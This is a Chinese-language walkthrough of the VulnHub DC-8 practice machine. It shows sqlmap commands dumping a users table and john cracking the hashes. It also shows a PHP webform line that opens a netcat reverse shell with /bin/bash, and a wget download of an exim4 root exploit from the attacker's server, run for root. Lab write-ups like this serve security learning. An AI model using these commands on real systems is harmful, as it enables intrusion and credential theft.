脚本小子学习--vulnhub靶机DC8

@

目录


前言

通过一些靶机实战练习,学习使用现有的工具来成为脚本小子。

一、环境搭建

  1. 靶机:Linux虚拟机 DC8(下载地址 https://www.vulnhub.com/entry/dc-8,367/),解压双击用VM虚拟机打开即可。
  2. 用于攻击的主机(本次采用kali)
  3. 确保主机和虚拟机在同一网段下。

二、目标和思路

  1. 绕过两因素身份验证,获得 root 并读取唯一的标志flag文件。
  2. 思路:信息收集->getshell->提权

三、实际操作

1.信息收集

  1. 查看靶机ip

  2. 使用netdiscover进行扫描,得到目标靶机的ip地址。netdiscover -r 192.168.124.0/24脚本小子学习--vulnhub靶机DC8

  3. 使用nmap扫描靶机端口,查看哪些端口开放。nmap 192.168.124.134
    脚本小子学习--vulnhub靶机DC8
    发现存在web服务器,网页访问网站。
    脚本小子学习--vulnhub靶机DC8

  4. 网站点击链接发现可能存在sql注入,使用sqlmap扫描。脚本小子学习--vulnhub靶机DC8

    #尝试获取数据库名
    sqlmap -u http://192.168.124.134/?nid=1 --dbs
    #尝试获取表名
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db --tables
    发现其中含有user表,此表往往是登陆网站,破解的关键数据。
    #尝试获取user表内的字段名
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users --columns      
    #对user表内name和pass字段进行数据获取
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users -C name,pass --dump
    

    得到账号密码
    脚本小子学习--vulnhub靶机DC8
    密码明显可以看出是经过加密的,所以我们需要解密。

  5. 使用john解密
    先将数据存储进一个文件example.txt中,并且以用户名:密码的形式进行保存。

    #在文件当前目录下使用john解密
    john example.txt
    

    脚本小子学习--vulnhub靶机DC8
    得到john的密码,admin的密码解密失败。

  6. 使用dirb搜寻网站目录,获得登陆入口 dirb http://192.168.124.134,发现目录中存在/user,进入页面输入账号密码登陆成功。
    脚本小子学习--vulnhub靶机DC8

2.getshell

  1. 一顿乱点,发现找到了可以编写php代码的位置(点击左上角content->点击edit->点击webforms->点击form settings->点击下拉框选择php code
    脚本小子学习--vulnhub靶机DC8
    脚本小子学习--vulnhub靶机DC8

  2. 输入一句话木马上传反弹shell(此处无法找到路径所以用反弹shell)<?php system("nc -n 192.168.124.134 9999 -e /bin/bash");?>(简单解释:nc是netcat命令,用于两台设别互相交互,-e参数表示当连接成功时在本机开启一个terminal,所有输入会传入到terminal上。)

  3. 保存后,先在kali上启动监听,等待靶机连接 nc -lvp 9999

  4. 在网页随意提交一个评论,启动连接脚本小子学习--vulnhub靶机DC8

  5. 查看terminal发现连接成功,为了更方便的使用远程shell,可以尝试写一个python伪terminal来使用python -c "import pty; pty.spawn('/bin/bash');"
    脚本小子学习--vulnhub靶机DC8

  6. 查看安装的软件是否含有suidfind / -perm -4000 2>/dev/null脚本小子学习--vulnhub靶机DC8
    发现服务器软件exim4。

  7. 使用searchsploit查找相关漏洞。searchsploit exim4 找到漏洞提权文件 linux/local/46996.sh,打开文件,查看使用命令

    #usage instructions
    function usage()
    {
    echo "$0 [-m METHOD]"
    echo
    echo "-m setuid : use the setuid payload (default)"
    echo "-m netcat : use the netcat payload"
    echo
    exit 1
    }
    

    将该文件复制到kali apache服务器上,便于靶机下载(什么服务器都行)。

  8. 启动apache服务器 systemctl start apache2,使用之前的反弹shell下载漏洞文件wget http://192.168.124.130/exim4.sh(exim4.sh是漏洞文件,改了个名字)。权限不足时选择/tmp下载。下载成功后添加执行权限 chmod 777 exim4.sh

  9. 注意,直接运行脚本文件如果提示失败,有可能是格式问题,需要在主机上将脚本格式设置成符合unix格式。然后重新上传和下载。

    vim exim4.sh
    :set ff=unix
    :wq
    
  10. 根据脚本内使用方法输入命令 ./exim4.sh -m netcat 脚本运行成功后,成功打开/root/flag.txt文件,攻击成功。脚本小子学习--vulnhub靶机DC8

总结

本次实验主要还是遵循 信息收集->getshell->提权 的思路,算是一次简单的入门实战练习。在更复杂的环境下还需要考虑更多方面的因素,需要不断实践总结。

上一篇:(Vulnhub练习)-- Zico2渗透实战


下一篇:VulnHub靶机-DerpNStink